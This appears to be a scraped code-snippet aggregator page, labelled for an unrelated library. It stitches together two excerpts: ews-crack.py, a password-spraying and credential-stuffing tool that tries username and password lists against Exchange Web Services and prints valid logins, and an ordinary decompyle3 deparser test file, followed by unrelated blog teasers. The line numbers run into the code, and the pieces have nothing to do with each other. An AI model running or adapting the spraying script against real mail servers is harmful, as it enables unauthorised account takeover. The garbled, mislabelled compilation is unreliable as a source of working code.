Best Python code snippet using molotov_python
ews-crack.py
Source: ews-crack.py
...56 except CASError:57 print("CAS Error: User {} does not exist.".format(user))58 return None, None59 return account, config60def test_single_mode(domain, username, password):61 account, config = ews_config_setup(username, password, domain)62 if account is None and config is None:63 return False64 iter(account.inbox.all())65 return True66def multi_account_test(domain, filename):67 with open(filename) as credentials:68 for line in credentials:69 username, password = line.split(":")70 valid = test_single_mode(domain, username, password.rstrip('\r\n'))71 if valid:72 print("Valid combo found {}:{}".format(username, password.rstrip('\r\n')))73def spray_and_pray(domain, filename, password):74 with open(filename) as userlist:75 for user in userlist:76 valid = test_single_mode(domain, user.rstrip('\r\n'), password)77 if valid:78 print("Valid combo found {}:{}".format(user.rstrip('\r\n'), password))79@click.command()80@click.option('--mode', type=click.Choice(['spray', 'single', 'creds']))81@click.option('--filename')82@click.option('--domain')83@click.option('--username')84@click.option('--password')85def main(mode, domain, username=None, password=None, filename=None):86 leetsauce = """87 ____| \ \ / ___| ___| | 88 __| \ \ \ / \___ \ | __| _` | __| | / 89 | \ \ \ / | | | ( | ( < 90 _____| \_/\_/ _____/ \____| _| \__,_| \___| _|\_\ 91"""92 banner = "============================================================================="93 print(banner)94 print(leetsauce)95 print(banner)96 if mode == 'single':97 print("Single account mode selected")98 valid = test_single_mode(domain, username, password)99 print("Valid password" if valid else "Invalid password")100 if mode == 'creds':101 print("Credential file testing selected")102 multi_account_test(domain, filename)103 if mode == 'spray':104 print("Spray and pray mode")105 spray_and_pray(domain, filename, password)106if __name__ == "__main__":...
test_code_deparse.py
Source: test_code_deparse.py
...14 print(dis.dis(code))15 deparsed = code_deparse(code, out=out, compile_mode=compile_mode, debug_opts=debug_opts)16 return deparsed17# FIXME: DRY this code18def test_single_mode() -> None:19 expressions = (20 "1",21 "i and (j or k)",22 "i and j or k",23 "i or (j and k)",24 "j % 4",25 "i = 1",26 "i += 1",27 "i = j % 4",28 "i = {}",29 "i = []",30 "for i in range(10):\n i\n",31 "for i in range(10):\n for j in range(10):\n i + j\n",32 "(i for i in f if 0 < i < 4)",33 "[i for pair in p if pair for i in f]",34 # Inconsequential differences in spaces.35 # "try:\n i\nexcept Exception:\n j\nelse:\n k",36 )37 for expr in expressions:38 try:39 deparsed = run_deparse(expr, compile_mode="single", debug=False)40 except:41 assert False, expr42 continue43 if deparsed.text != (expr + "\n"):44 from decompyle3.show import maybe_show_tree45 deparsed.showast = {"Full": True}46 maybe_show_tree(deparsed, deparsed.ast)47 assert deparsed.text == expr + "\n"48def test_eval_mode():49 expressions = (50 "1",51 "j % 4",52 "k == 1 or k == 2",53 "i and (j or k)",54 "i and j or k",55 )56 for expr in expressions:57 try:58 deparsed = run_deparse(expr, compile_mode="eval", debug=False)59 except:60 assert False, expr61 continue62 if deparsed.text != expr:63 from decompyle3.show import maybe_show_tree64 deparsed.showast = {"Full": True}65 maybe_show_tree(deparsed, deparsed.ast)66 assert deparsed.text == expr67def test_lambda_mode():68 expressions = (69 "lambda d=b'': 5",70 "lambda *, d=0: d",71 "lambda x: 1 if x < 2 else 3",72 "lambda y: x * y",73 "lambda n: True if n >= 95 and n & 1 else False",74 "lambda: (yield from f())",75 )76 for expr in expressions:77 try:78 deparsed = run_deparse(expr, compile_mode="lambda", debug=False)79 except:80 assert False, expr81 continue82 if deparsed.text != expr:83 from decompyle3.show import maybe_show_tree84 deparsed.showast = {"Full": True}85 maybe_show_tree(deparsed, deparsed.ast)86 assert deparsed.text == expr87if __name__ == "__main__":88 test_eval_mode()89 test_lambda_mode()...
Check out the latest blogs from LambdaTest on this topic:
How do we acquire knowledge? This is one of the seemingly basic but critical questions you and your team members must ask and consider. We are experts; therefore, we understand why we study and what we should learn. However, many of us do not give enough thought to how we learn.
The best agile teams are built from people who work together as one unit, where each team member has both the technical and the personal skills to allow the team to become self-organized, cross-functional, and self-motivated. These are all big words that I hear in almost every agile project. Still, the criteria to make a fantastic agile team are practically impossible to achieve without one major factor: motivation towards a common goal.
Greetings folks! With the new year finally upon us, we’re excited to announce a collection of brand-new product updates. At LambdaTest, we strive to provide you with a comprehensive test orchestration and execution platform to ensure the ultimate web and mobile experience.
One of the most important tasks of a software developer is not just writing code fast; it is the ability to find what causes errors and bugs whenever you encounter one and the ability to solve them quickly.
With the rising demand for new services and technologies in the IT, manufacturing, healthcare, and financial sector, QA/ DevOps engineering has become the most important part of software companies. Below is a list of some characteristics to look for when interviewing a potential candidate.
Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!